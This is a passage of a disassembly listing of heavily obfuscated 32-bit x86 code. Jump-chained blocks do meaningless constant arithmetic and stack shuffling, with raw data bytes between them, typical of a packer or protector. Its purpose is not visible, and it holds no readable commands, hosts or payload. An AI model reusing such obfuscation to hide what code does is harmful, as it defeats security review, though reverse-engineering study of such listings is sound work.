0E0895024h dd 0DFCAE9h, 4484BF00h, 0F9010045h, 0E9CB295Fh, 81D7h ; --------------------------------------------------------------------------- loc_55896C: ; CODE XREF: sub_542C3C+1DD02j xchg esi, [esp+8Ch+var_8C] pop esp mov [esp+88h+var_88], ecx mov ecx, 4FC67984h push edx push esp pop edx jmp loc_55F2DD ; --------------------------------------------------------------------------- loc_558980: ; CODE XREF: sub_542C3C+22AC2j add ebp, 4 sub esp, 4 mov [esp+90h+var_90], ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_56073D ; --------------------------------------------------------------------------- dd 4E9835Dh, 5C240C87h, 0FFEE5EE9h, 2434FFFFh, 0E3895359h dd 4B850h, 69E90000h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5589BB: ; CODE XREF: sub_542C3C+2289Bj xor eax, ebp pop ebp mov edx, 14471971h sub edx, 49BA0ED0h add edx, eax add edx, 49BA0ED0h mov eax, [esp+88h+var_88] push ebx jmp loc_565C81 ; --------------------------------------------------------------------------- dw 4BDh dd 0E9000000h, 0FFFFB4E0h, 41068h, 24348900h, 359C68h dd 24248900h, 0C9C0E9h, 8BCA0100h, 0CFE9240Ch db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A03: ; CODE XREF: sub_542C3C+1FB57j mov ecx, 28241E4h sub ecx, 78E64F23h and ecx, 45AB439Eh jmp loc_562391 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0F24E924h, 0EA880000h, 2671E9h db 0 ; --------------------------------------------------------------------------- loc_558A29: ; CODE XREF: sub_542C3C+22B3Fj mov ah, 28h shr ah, 4 sub ah, 0A1h jmp loc_55F990 ; --------------------------------------------------------------------------- dw 0C483h dd 0BA5204h, 29000000h, 0EFE950CAh, 0BD00003Bh, 218D52C3h dd 1F87E950h, 1660000h, 0E99C2404h, 0FFFFAAF0h ; --------------------------------------------------------------------------- loc_558A5C: ; CODE XREF: sub_542C3C+19E8Dj xor [esp+8Ch+var_8C], ebp xor ebp, [esp+8Ch+var_8C] pop esp movzx ecx, al push 0CD4h mov [esp+8Ch+var_8C], ecx jmp loc_564ABC ; --------------------------------------------------------------------------- db 5Dh dd 15B5953h, 240C8BC8h, 0E904C483h, 2A92h ; --------------------------------------------------------------------------- loc_558A84: ; CODE XREF: sub_542C3C+145CAj mov ah, 76h shl ah, 7 add ah, 13h add ah, 53h sub ah, 35h add cl, ah mov eax, [esp+92h+var_94+2] add esp, 4 jmp loc_5606BD ; --------------------------------------------------------------------------- loc_558A9F: ; CODE XREF: sub_542C3C+2134Dj pop [esp+8Eh+var_90+2] pop esp or eax, eax jmp loc_56101F ; --------------------------------------------------------------------------- loc_558AAA: ; CODE XREF: sub_542C3C+1218Cj push esi push 3F020FDEh pop esi shr esi, 6 neg esi jmp loc_55EC53 ; --------------------------------------------------------------------------- a34St db '34$éâ]',0 dw 900h dd 0E1815AD1h, 1C957D57h, 0FFF9EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_558AD1: ; CODE XREF: sub_542C3C+1DDACj add esp, 4 push edx push ebp mov ebp, 4C2D152Eh push edi mov edi, 0DFC90795h mov edx, edi jmp loc_553B9D ; --------------------------------------------------------------------------- dd 3B6AABBFh, 56F78168h, 814E2019h, 383466CFh, 0C6F7814Dh dd 2919E239h, 0D3015FFBh, 4E39C381h, 34FF76D9h, 4EDE924h dd 6C810000h, 2D0B0424h, 0E3E91E5Ah db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558B1F: ; CODE XREF: sub_542C3C+23A88j inc ebx shl ebx, 7 and ebx, 1D0B5A49h shr ebx, 2 add ebx, 31F183BFh jmp loc_555A57 ; --------------------------------------------------------------------------- db 81h dd 663751C2h, 22CA8178h, 8118ED21h, 312A70C2h, 0E4C2815Ch dd 29680538h, 0C6295AD6h, 0AFEBD55h, 0EE016026h, 0BD55585Dh dd 6E1A25DEh, 8B5DEE29h, 0C481243Ch, 4, 0C358E9h, 0DEC38100h dd 892E2598h, 0F2E95BDDh, 310000A9h, 31D531EAh, 0E9CD87EAh dd 6DB8h, 54242C89h, 4039E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B9A: ; CODE XREF: sub_542C3C+1695Bj push esi sub [esp+78h+var_78], 41804520h jmp loc_5636E5 ; --------------------------------------------------------------------------- loc_558BA7: ; CODE XREF: sub_542C3C+13992j mov [esp+84h+var_84], ebx jmp loc_56706D ; --------------------------------------------------------------------------- loc_558BAF: ; CODE XREF: sub_542C3C+10D83j push edi jmp loc_564A4F ; --------------------------------------------------------------------------- db 29h, 0EEh, 81h dd 0B11A1AEEh, 0BC62E916h, 85E90000h, 5AFFFFA9h, 0FFC31EE9h dd 3FB753FFh, 0E903EFC0h, 0FFFFDFF0h, 240C8B66h, 0C8B5451h dd 58786824h, 0C890000h, 55595424h, 0FFFDE9E9h, 6EEC1FFh dd 8103E6C1h, 0E54B73E6h, 5E6C125h, 120DF681h, 0DEF72C2Eh dd 0E906E6C1h, 8BE6h ; --------------------------------------------------------------------------- loc_558C10: ; CODE XREF: sub_542C3C+1E365j push esi mov esi, 55FB1172h mov edx, 73D66AC3h push ecx mov ecx, 16C41278h neg ecx not ecx push eax mov eax, 51374556h and eax, 46A51E10h jmp loc_555A96 ; --------------------------------------------------------------------------- aBsffiusT db 'éFF¨UéÏ’',0 align 10h dd 0D224248Bh, 0E99C240Ch, 0FFFFA900h ; --------------------------------------------------------------------------- loc_558C4C: ; CODE XREF: sub_542C3C+14BA8j mov edx, 20h sub edx, 2A316BA2h add edx, edi add edx, 2A316BA2h push 3AF8h mov [esp+44h+var_44], esi mov esi, eax mov [edx], esi mov esi, [esp+44h+var_44] push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 jmp loc_55D066 ; --------------------------------------------------------------------------- dd offset dword_457444+50B24h dw 8900h dd 0FEBD242Ch, 55775A2Fh, 0A06FE9h, 242C8100h, 1CCA304Bh dd 58BEB951h, 4481128Fh, 742E0424h, 4C292924h, 6C810424h dd 742E0424h, 0DE92924h, 8900005Fh, 0C3B42404h, 0F4BCE9h dd 5FFE3100h, 10BACE81h, 0C68146F9h, 21C524F1h, 96C681h dd 0F0294B03h, 5E2434FFh, 81E38953h, 4C3h, 4BE5600h, 1000000h dd 24348BF3h, 8704C483h, 815C241Ch, 0BB5C8DEBh, 0AFC38128h dd 12F6035h, 0AFEB81C3h, 522F6035h, 0BE1A5D68h, 0E2C15A52h dd 9FBE5602h, 0E9386D04h, 0FFFFE16Ah ; --------------------------------------------------------------------------- loc_558D24: ; CODE XREF: sub_542C3C+187B1j pop esi push eax mov eax, 2E834BF8h jmp loc_553C76 ; --------------------------------------------------------------------------- dd 0CB81435Bh, 2CB26304h, 3A6BBA52h, 0D331755Dh, 0E9h dd 24148B00h, 4C481h, 0F3810000h, 245A329Dh, 0CE9D989h dd 5900008Fh, 0D87E9h, 4C18100h, 0E9000000h, 30B3h, 6BEA3205h dd 3093E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558D76: ; CODE XREF: sub_542C3C+213A9j add ebp, 4 xchg ebp, [esp+4Ch+var_4C] jmp loc_559AF2 ; --------------------------------------------------------------------------- loc_558D84: ; CODE XREF: sub_542C3C+1F576j pop edx jmp loc_5644FB ; --------------------------------------------------------------------------- dw 0F305h dd 4829425Fh, 0B6F5E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D96: ; CODE XREF: sub_542C3C+148ACj xor ebx, [esp+80h+var_80] jmp loc_55403D ; --------------------------------------------------------------------------- dw 48Bh dd 0B0FAE924h, 4368FFFFh, 8900005Ah, 0BA522434h, 376218C7h dd 0D430FEBEh, 0E9D62991h, 0FFFFE37Eh, 50B7EB81h, 8DE90C28h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558DCB: ; CODE XREF: sub_542C3C+25204j xchg ecx, [esp+80h+var_80] pop esp push edi mov edi, esp push eax mov eax, 46724752h jmp loc_566BAA ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0F7E90000h, 81FFFFD7h, 25302CC1h, 0BB88E909h, 51450000h dd 0BB61EAB9h, 0F7F1874Bh, 518CE9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558E02: ; CODE XREF: sub_542C3C+25292j add ebp, 4AF84342h sub ebp, 78000BB1h add ebp, 0ECBF7B81h add ebx, ebp jmp loc_562AAC ; --------------------------------------------------------------------------- db 66h dd 8B66F329h, 13E92434h, 52000023h, 0E918B050h, 0FFFFBAABh dd 5107E6C1h, 6B716853h, 815B06C8h, 0C8299CEBh, 5BD98995h dd 5C60E181h, 0E18149CDh, 116860F3h, 47EFE181h, 0F181301Bh dd 62B0084Ch, 1869C181h, 0CE21A63Dh, 0BF575559h, 4AAE4063h dd 1910E781h, 0EF8102B8h, 0FFFFFFFFh, 0EF81E7D1h, 4F3648CAh dd 5B9FEF81h, 0FD89A5BDh, 0F7C5815Fh, 3149A01Eh, 2434FFEEh dd 4C4815Dh, 89000000h, 0D3295EF2h, 0E924148Bh, 0FFFFE6ACh ; --------------------------------------------------------------------------- loc_558EA8: ; CODE XREF: sub_542C3C+2343Ej mov ebp, 42A2593Dh and edi, ebp jmp loc_56189B ; --------------------------------------------------------------------------- loc_558EB4: ; CODE XREF: sub_542C3C+17F4Dj push ebx mov ebx, 4185AE5h xor [esp+88h+var_84], ebx pop ebx push [esp+84h+var_84] pop eax add esp, 4 push edi mov edi, 50CD3E05h shr edi, 4 sub esp, 4 mov [esp+88h+var_88], edx mov edx, 25D04CD2h shr edx, 1 push 6B5Ah mov [esp+8Ch+var_8C], ebp mov ebp, 656D5C5Ch jmp loc_56043D ; --------------------------------------------------------------------------- dd 10F7B850h, 0C6291746h, 81D6F758h, 240E1E6h, 83C6811Fh dd 81E5FFBFh, 6037EFh, 81F7291Fh, 6037C7h, 3C335E1Fh, 243C3124h dd 5C243C33h, 54240C89h, 4EC8159h, 89000000h, 0E9532414h dd 0FFFFBF20h ; --------------------------------------------------------------------------- loc_558F38: ; CODE XREF: sub_542C3C+1F988j pop ebx jmp loc_55D0F7 ; --------------------------------------------------------------------------- dw 0C681h dd 7FC141A7h, 5DC5E9h, 2434FF00h, 0E924148Bh, 0FFFFCF47h dd 0AF7BA52h, 0EAC16E6Ch, 0B3C28105h, 147CB11h, 0BA525AD5h dd 4E297B1Bh, 1BE56h, 0F2290000h, 0CDBEE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558F7A: ; CODE XREF: sub_542C3C+13E83j mov esi, [esp+80h+var_80] sub esp, 4 jmp loc_5650EA ; --------------------------------------------------------------------------- a1ZiS4g db '1ÐZ‰Ãé4G',0 db 0 ; --------------------------------------------------------------------------- loc_558F8F: ; CODE XREF: sub_542C3C+126B8j add edx, 4 sub edx, 4 xor edx, [esp+0AAh+var_AA] xor [esp+0AAh+var_AA], edx xor edx, [esp+0AAh+var_AA] jmp loc_5543AF ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 0E95C2404h dd 0F31Bh ; --------------------------------------------------------------------------- loc_558FC0: ; CODE XREF: sub_542C3C+17BFDj shr edi, 1 add edi, 1DBE179Ch push edi mov ebp, [esp+0AEh+var_AE] jmp loc_56731C ; --------------------------------------------------------------------------- loc_558FD1: ; CODE XREF: sub_542C3C+25C60j pop dword ptr [eax] xor dword ptr [eax], 13C06636h push [esp+0AAh+var_AA] pop eax add esp, 4 jmp loc_55C18E ; --------------------------------------------------------------------------- db 81h, 0C3h, 93h dd 0E9028E67h, 0FFFFA9E5h, 2474FF57h, 2434FF04h, 0EBE9555Fh dd 5A000071h, 4C481h, 1C330000h, 241C3124h, 5C241C33h dd 24042166h, 0A532E99Ch, 37B5FFFFh, 0E580C5FEh, 70ED80B6h dd 0FE06EDC0h, 0E8C580C5h, 0FE59EE88h, 33CE80CEh, 0FCB35366h dd 0C0FFC380h, 0EBC002EBh, 0E9C3FE02h, 0EEBFh, 0E691E957h dd 0E9530000h, 0B54Eh, 4C48159h, 68000000h, 4A3Bh, 89242C89h dd 4C581E5h, 83000000h, 2C3304C5h, 242C3124h, 0E9242C33h dd 0BE91h, 0BE243489h, 0CC950A2h, 24348156h, 36C472E2h dd 0FFE0E0E9h, 4C481FFh, 56000000h, 2BEh, 1EC78100h, 816BEC71h dd 0A75F15EFh, 0DC0E95Eh, 0CD010000h, 2CC6ED81h, 0CE917F1h dd 0D2000044h, 0E99C2404h, 0FFFFE5F4h, 3B5F9ABBh, 0D3F74369h dd 4DF5C381h, 0C3812DBDh, 63C944E4h, 0E4E9DD89h, 8BFFFFCDh dd 0C7812424h, 4, 0E904C783h, 0FFFFE931h, 8B2434FFh, 0C483241Ch dd 4C48104h, 81000000h, 0E3680DF1h, 5EE9816Eh, 52076A4Fh dd 564C6EBAh, 5AD101E6h, 0EFE9CD89h, 56FFFFDFh, 4B4D68h dd 48F5400h, 4BF5724h, 1000000h, 8B04247Ch, 0C481243Ch dd 4, 8324348Bh, 756804C4h, 89000035h, 0BF57241Ch, 3F5D1A05h dd 40E9FB89h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_559153: ; CODE XREF: sub_542C3C+2506Ej sub ebx, 5C910BBBh pop esi and eax, ebx pop ebx or edx, eax shl edx, 1 push dword ptr [edi+24h] push 3F25h jmp loc_556B32 ; --------------------------------------------------------------------------- loc_55916E: ; CODE XREF: sub_542C3C+1540Cj sub ecx, eax pop eax add ecx, 680516EDh add ecx, 7B3C4FB0h shr ecx, 8 sub ecx, 1929083Dh push eax jmp loc_55BDB4 ; --------------------------------------------------------------------------- loc_55918C: ; CODE XREF: sub_542C3C+21E68j push [esp+98h+var_98] jmp loc_556BB5 ; --------------------------------------------------------------------------- loc_559194: ; CODE XREF: sub_542C3C+1433Bj add esp, 4 jmp loc_55D9C9 ; --------------------------------------------------------------------------- db 89h dd 0BF66243Ch, 0C16607ABh, 816603E7h, 6655E5F7h, 0CF5EC781h dd 81665766h, 1BD5242Ch, 81665E66h, 0E91BD5C6h, 266Bh dd 6824248Bh, 4644h, 68241C89h, 224Fh, 50240C89h, 0C188D088h dd 8DAEE958h, 0F1810000h, 0FCE29347h, 9934E9h, 81CE0100h dd 612843EEh, 2434FF1Dh, 4EC8159h, 89000000h, 89512414h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 2424895Ch, 784CE9h dd 3AE1B900h, 0CE296019h, 83240C8Bh, 0C14604C4h, 0C68106E6h dd 2DC35AE2h, 0A46BA52h, 814A194Dh, 1B6EABF2h, 0E9D6018Bh dd 0E25Eh ; --------------------------------------------------------------------------- loc_55924C: ; CODE XREF: sub_542C3C+12FE8j sub eax, 1B8C3009h sub ecx, 2BD64AC0h add ecx, eax add ecx, 2BD64AC0h pop eax add ecx, 4 push 7969h mov [esp+84h+var_84], ecx push [esp+84h+var_80] jmp loc_55DE24 ; --------------------------------------------------------------------------- db 56h dd 0E8CE57BEh, 8BF23139h, 0C4832434h, 8BD00104h, 0C4812414h dd 4, 0E904EC83h, 8CC9h, 33241C31h, 248B241Ch, 24042124h dd 0A2A2E99Ch, 48BFFFFh, 4C48324h, 0FFA297E9h, 7DC780FFh dd 0F8305966h, 0A702E95Bh, 6C81FFFFh, 571A0424h, 74012860h dd 7FE90424h, 81FFFFA2h, 0F124DFF6h, 1D3DE9B5h, 7D2C0000h dd 1ADAE9h db 0 ; --------------------------------------------------------------------------- loc_5592E5: ; CODE XREF: sub_542C3C+1F5EDj pop ebx add ecx, ebp pop ebp xor ebx, ecx pop ecx jmp loc_55B80A ; --------------------------------------------------------------------------- aSgv db ']éGV',0 dw 8900h dd 7EE9241Ch db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5592FF: ; CODE XREF: sub_542C3C+10F63j mov esi, 23B66F50h add edx, esi pop esi sub edx, 76D016BFh add edx, ebp add edx, 76D016BFh push esi push edi push eax mov eax, 0C574367h xor eax, 493B5B38h inc eax and eax, 6D54259Ch and eax, 611F331Ch sub eax, 265B0FE5h add eax, 54AD780Bh mov edi, eax pop eax mov esi, edi jmp loc_564236 ; --------------------------------------------------------------------------- loc_559341: ; CODE XREF: sub_542C3C+1DB44j pop ebx inc ecx xor ecx, 495C2EA2h sub ecx, 16B1778Dh jmp loc_55FD31 ; --------------------------------------------------------------------------- aUhd5 db 'UhD5',0 align 2 dw 1AE9h dd 80FFFFC8h, 0C48069E4h, 58E6003Eh, 148BF028h, 66666824h dd 14890000h, 0E95A5424h, 0B8E7h ; --------------------------------------------------------------------------- loc_55937C: ; CODE XREF: sub_542C3C+1CDBAj pop [esp+4Ch+var_4C] jmp loc_565695 ; --------------------------------------------------------------------------- loc_559384: ; CODE XREF: sub_542C3C+14530j push dword ptr [edi+eax*4] push [esp+9Ah+var_9C+2] push dword ptr [esp] mov eax, [esp+0A2h+var_A2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0A6h+var_A6] jmp loc_55D872 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFC7h, 0B1EDE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593B2: ; CODE XREF: sub_542C3C+17B85j mov ebx, 7D707CC2h mov edx, 0D0DB90A0h jmp loc_555932 ; --------------------------------------------------------------------------- db 87h, 0D9h, 0F7h dd 31D931D3h, 81D931CBh, 8B11C1C1h, 59CA0102h, 709D68h dd 24048900h, 0A9E4E951h, 0C8B0000h, 0B526824h, 2C890000h dd 81E58924h, 4C5h, 4C58300h, 0E9242C87h, 0FFFFE473h ; --------------------------------------------------------------------------- loc_559400: ; CODE XREF: sub_542C3C+1F761j add edx, ecx jmp loc_55E67B ; --------------------------------------------------------------------------- loc_559407: ; CODE XREF: sub_542C3C+233D7j mov ebp, 1 push ebp jmp loc_5614C9 ; --------------------------------------------------------------------------- dw 0BB53h dd 6F45443Eh, 0C381D3F7h, 0E7BB0009h, 315BDD89h, 0DF895DEBh dd 0E92434FFh, 3FC4h ; --------------------------------------------------------------------------- loc_559430: ; CODE XREF: sub_542C3C+1B805j xchg ebp, [esp+0AAh+var_AA] pop esp shl edi, 6 sub edi, 1CB4287Fh xor edi, 0E3CBAB16h mov edx, edi pop edi push ebp jmp loc_556B7F ; --------------------------------------------------------------------------- loc_55944C: ; CODE XREF: sub_542C3C+1AD88j pop esi jmp loc_55EFF9 ; --------------------------------------------------------------------------- dw 0E95Bh dd 684h, 1ED805Ah, 30E0E9h, 0F2814A00h, 0C5905CCCh, 0D343E9h dd 28586600h, 0B05052CBh, 88E0348Fh, 0DAF658C2h, 8042C280h dd 0D300F6F2h, 0E959665Ah, 592Ah ; --------------------------------------------------------------------------- loc_55948C: ; CODE XREF: sub_542C3C+24D1Cj add ebx, 4 xor ebx, [esp+0A2h+var_A2] xor [esp+0A2h+var_A2], ebx jmp loc_55C025 ; --------------------------------------------------------------------------- loc_55949A: ; CODE XREF: sub_542C3C+135C4j add [esp+9Eh+var_9C+2], 61841142h sub [esp+9Eh+var_9C+2], ebp push ebx mov ebx, 61841142h sub [esp+0A2h+var_9C+2], ebx pop ebx jmp loc_55A8D7 ; --------------------------------------------------------------------------- dw 5F54h dd 0FFD326E9h, 2434FFFFh, 0D2E9535Dh, 8F00007Bh, 4832404h dd 57580424h, 294711BFh, 5EFC14Fh, 0B5CCC781h, 25E9FD86h dd 580000D9h, 4C481h, 48F0000h, 0F7665C24h, 926866E1h dd 14896660h, 9C506624h, 0FFA04BE9h, 4C381FFh, 33000000h dd 1C31241Ch, 241C3324h, 6824248Bh, 124Eh, 0E9243489h dd 0A420h, 24048B66h, 1E4DE9h, 0EE815A00h, 2, 31243433h dd 34332434h, 3525E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55953E: ; CODE XREF: sub_542C3C+10F24j mov [esp+48h+var_48], eax mov eax, 78594943h or eax, 49C4414Fh sub eax, 3CAF2500h neg eax sub eax, 0C2D1DBADh jmp loc_554876 ; --------------------------------------------------------------------------- loc_55955C: ; CODE XREF: sub_542C3C+1DBB5j pop esp mov [esp+44h+var_44], edx push ebx jmp loc_565746 ; --------------------------------------------------------------------------- loc_559566: ; CODE XREF: sub_542C3C+21256j push esi push 0F780BD3h pop esi jmp loc_561DED ; --------------------------------------------------------------------------- dw 525Fh dd 4EC81h, 2C890000h, 6F77BD24h, 73BA0AB5h, 310AB56Fh dd 2434FFEAh, 0FFEA32E9h db 0FFh ; --------------------------------------------------------------------------- loc_559591: ; CODE XREF: sub_542C3C+11046j sub esi, 0CCCE7E2h jmp loc_558B9A ; --------------------------------------------------------------------------- dd 240C8B66h, 0AC55E951h, 0C631FFFFh, 98F1E9h, 8BEB0100h dd 0C483242Ch, 241C3304h, 0E9241C31h, 0A056h, 5EBC15Bh dd 0FFB44AE9h, 24248BFFh, 122468h, 241C8900h, 1E65B951h dd 52E97C3Ch, 0BD00007Dh, 154104BBh, 57E3E9h, 0E9535900h dd 0FFFFBE97h, 81241C8Bh, 4ECh, 0E809E900h, 0DA010000h dd 3762C281h, 1C8B6506h, 4C48124h, 0E9000000h, 0FFFF9F38h ; --------------------------------------------------------------------------- loc_559614: ; CODE XREF: sub_542C3C+1701Aj xchg eax, [esp+64h+var_64] pop esp jmp loc_561EA4 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 242C895Ch, 2FF06851h, 81593DBEh, 704C80F1h, 59CD897Dh dd 67FCC781h, 0EF813414h, 3C4A0570h, 0C781EF01h, 3C4A0570h dd 67FCEF81h, 2C8B3414h, 4B6EE924h, 0F0280000h, 8324148Bh dd 685904C4h, 2A80h, 52240489h, 0D088B3B2h, 4A60E9h db 0 ; --------------------------------------------------------------------------- loc_559671: ; CODE XREF: sub_542C3C+1908Cj push [esp+60h+var_5C] pop ebp pop [esp+60h+var_60] mov esp, [esp+5Ch+var_5C] div cl movzx cx, ah push small 7F39h jmp loc_555082 ; --------------------------------------------------------------------------- aYbx5ylHj db 'Yå5Yl',8,'h†<',0 dw 0E900h dd 74EDh, 56241C8Bh, 0C681E689h, 4, 4C681h, 0FF560000h dd 5E042474h, 4F8E9h, 0BBC58100h, 0E929C856h, 0C0C4h ; --------------------------------------------------------------------------- loc_5596C4: ; CODE XREF: sub_542C3C+1B47Cj xor ecx, esi pop esi xor ecx, 4ED2BE23h add ebp, 433931CFh sub ebp, ecx sub ebp, 433931CFh push [esp+5Ah+var_5C+2] push [esp+5Eh+var_60+2] pop ecx add esp, 4 add esp, 4 and eax, ebp mov ebp, [esp+56h+var_58+2] add esp, 4 shr eax, 0Ah xor eax, ecx sub esp, 4 mov [esp+56h+var_58+2], eax xchg edx, [esp+56h+var_58+2] not edx xchg edx, [esp+56h+var_58+2] mov eax, [esp+56h+var_58+2] push 30A5h mov [esp+5Ah+var_5C+2], esi jmp loc_555C83 ; --------------------------------------------------------------------------- db 29h, 0D8h, 5 dd 5E550FE5h, 152E68h, 24348900h, 2359E9h, 2EEB8100h, 2937C507h dd 9711E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55973A: ; CODE XREF: sub_542C3C+2317Aj add edx, ecx add edx, 5F6A6A95h pop ecx jmp loc_55F4D5 ; --------------------------------------------------------------------------- dd 8851E288h, 59CB88D1h, 0DCFDE9h, 4EC8100h, 89000000h dd 60B82404h, 2D16716Ah, 0DBDF29C2h, 57A7BB53h, 0DA014998h dd 5B2434FFh, 4EA9E9h db 0 ; --------------------------------------------------------------------------- loc_559779: ; CODE XREF: sub_542C3C+24138j mov eax, 64AD4BAAh add ebx, eax push [esp+56h+var_58+2] push [esp+5Ah+var_5C+2] pop eax jmp loc_556B4C ; --------------------------------------------------------------------------- loc_55978C: ; CODE XREF: sub_542C3C+12018j pop ebx shr ebx, 3 shl ebx, 6 add ebx, 201C2EA5h push ebx mov eax, [esp+74h+var_74] jmp loc_556ADB ; --------------------------------------------------------------------------- dw 0F281h aKl6sI db 7,'K‹6é#ë',0 dd 57016800h, 815E0070h, 8FA901C6h, 6959E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5597BE: ; CODE XREF: sub_542C3C+11535j sub esi, 7FBA1A01h jmp loc_5635F9 ; --------------------------------------------------------------------------- db 68h, 82h, 7Ah dd 2C890000h, 10F2BD24h, 0A8E90EE0h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5597DB: ; CODE XREF: sub_542C3C+12D4Fj sub edx, 0BCC253FCh add ecx, edx pop edx push edi push ecx mov ecx, 1F2B0DF5h sub ecx, 5A552392h jmp loc_566055 ; --------------------------------------------------------------------------- loc_5597F6: ; CODE XREF: sub_542C3C+1AD81j add ebp, 4 sub ebp, 4 xchg ebp, [esp+0A6h+var_A6] pop esp mov [esp+0A2h+var_A2], esp jmp loc_56147B ; --------------------------------------------------------------------------- db 81h dd 2C2h, 4EC8300h, 0FFAF62E9h, 5F5557FFh, 5C8EE95Dh, 0D15F0000h dd 0D5F181E9h, 136AB21h, 143359CAh, 24143124h, 0E9241433h dd 4306h ; --------------------------------------------------------------------------- loc_55983C: ; CODE XREF: sub_542C3C+12BDFj mov edi, 7FE04CD7h inc edi and edi, 127522D1h xor edi, 16DB0A02h xor ebp, edi mov edi, [esp+0B2h+var_B2] jmp loc_566A46 ; --------------------------------------------------------------------------- loc_559858: ; CODE XREF: sub_542C3C+24C20j xor [esp+0B2h+var_B2], eax xor eax, [esp+0B2h+var_B2] pop esp or eax, eax jmp loc_5552D7 ; --------------------------------------------------------------------------- dw 0F781h dd 4C1530DEh, 0D3F7DF87h, 0EF81DF87h, 9183DAB2h, 9F42E957h dd 0F7010000h, 2782C781h, 0E95E798Bh, 0D161h ; --------------------------------------------------------------------------- loc_55988C: ; CODE XREF: sub_542C3C+11B9Cj push [esp+7Ch+var_7C] pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+80h+var_80] pop esp sub esp, 4 jmp loc_55EFC7 ; --------------------------------------------------------------------------- db 20h dd 48B66E7h, 2C48324h, 9E49E950h, 0E7890000h, 4C781h, 0EF830000h dd 74FF5704h, 8F5F0424h, 0E95C2404h, 0CF8Ah, 15F1C281h dd 0C2013665h, 15F1EA81h, 0EA813665h, 45444A12h, 774968h dd 242C8900h, 64E7E950h, 895C0000h, 0EC81240Ch, 4, 68241C89h dd 30564E24h, 3587E9h, 48F5D00h, 9F16E924h, 4A250000h dd 0C1532678h, 0C8E903E8h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559923: ; CODE XREF: sub_542C3C+206ADj add esp, 4 sub esp, 4 mov [esp+80h+var_80], ecx jmp loc_5650FA ; --------------------------------------------------------------------------- loc_559934: ; CODE XREF: sub_542C3C+136E7j pop ecx jmp loc_56392A ; --------------------------------------------------------------------------- loc_55993A: ; CODE XREF: sub_542C3C+1BC85j pop esi jmp loc_557791 ; --------------------------------------------------------------------------- loc_559940: ; CODE XREF: sub_542C3C+24A8Aj push esi jmp loc_556ABE ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 67F9E9h, 0E9D8F700h, 6607h, 9C241CF7h, 0FF9BEBE9h dd 4B9FFh, 89500000h, 405E0h, 0BDE90000h, 530000A7h, 97FCE9h db 0 ; --------------------------------------------------------------------------- loc_559979: ; CODE XREF: sub_542C3C+19897j mov ebp, 54272CC6h mov ecx, 54272CEAh sub ecx, ebp pop ebp add ecx, edi push edx mov edx, 0 add edx, ecx add [edx], ebp jmp loc_55F522 ; --------------------------------------------------------------------------- loc_559997: ; CODE XREF: sub_542C3C+14B5Fj mov [esp+0B6h+var_B6], esi jmp loc_559A4E ; --------------------------------------------------------------------------- loc_55999F: ; CODE XREF: sub_542C3C+1A94Cj sub esp, 4 mov [esp+0BAh+var_BA], edi jmp loc_55D7E1 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4BD55h, 0EF010000h, 0FFCE03E9h db 0FFh ; --------------------------------------------------------------------------- loc_5599BD: ; CODE XREF: sub_542C3C+1C8ABj pop edi inc edi sub edi, 1 xor edi, 309917FEh mov edx, edi mov edi, [esp+0B6h+var_B6] jmp loc_561A03 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 7 dd 0E902E9C1h, 0B03Fh, 4BEh, 50EF8100h, 1677749h, 50BD55F7h dd 81677749h, 340BB1EFh, 81EF0127h, 340BB1C7h, 555E5D27h dd 2BDh, 4143E900h, 0C8290000h, 8B1F142Dh, 18E95913h, 81000015h dd 4C7h, 1A54E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559A26: ; CODE XREF: sub_542C3C+1CF1Cj add edi, 4 xchg edi, [esp+0B6h+var_B6] jmp loc_55A66D ; --------------------------------------------------------------------------- dd 5C242C33h, 0B9240C89h, 4, 34FFCA01h, 89505924h, 0A8A8E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559A4E: ; CODE XREF: sub_542C3C+16D5Ej push 61CEh mov [esp+0BAh+var_BA], ebx mov ebx, 5A901FCDh mov esi, 5A901FD1h sub esi, ebx pop ebx jmp loc_55397E ; --------------------------------------------------------------------------- dd 7C9AC781h, 0DFF76A2Ah, 819CE9h, 4C38100h, 87000000h dd 875C241Ch, 0E95C2404h, 0FFFFD914h, 0D55C181h, 348B011Ah dd 1AE95024h, 810000E1h, 4ECh, 24148900h, 0C281E289h, 4 dd 4C281h, 14870000h, 25345C24h, 3058C630h, 24148BF0h dd 4C481h, 0B8680000h, 89000018h, 7EE9240Ch, 81FFFFE5h dd 0DC7E7CE9h, 0E9C8014Ch, 5268h, 1730C181h, 0E9493CACh dd 0FFFFE658h, 7B3168h, 0AE21E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559AF2: ; CODE XREF: sub_542C3C+16143j pop esp pop ecx loc_559AF4: ; CODE 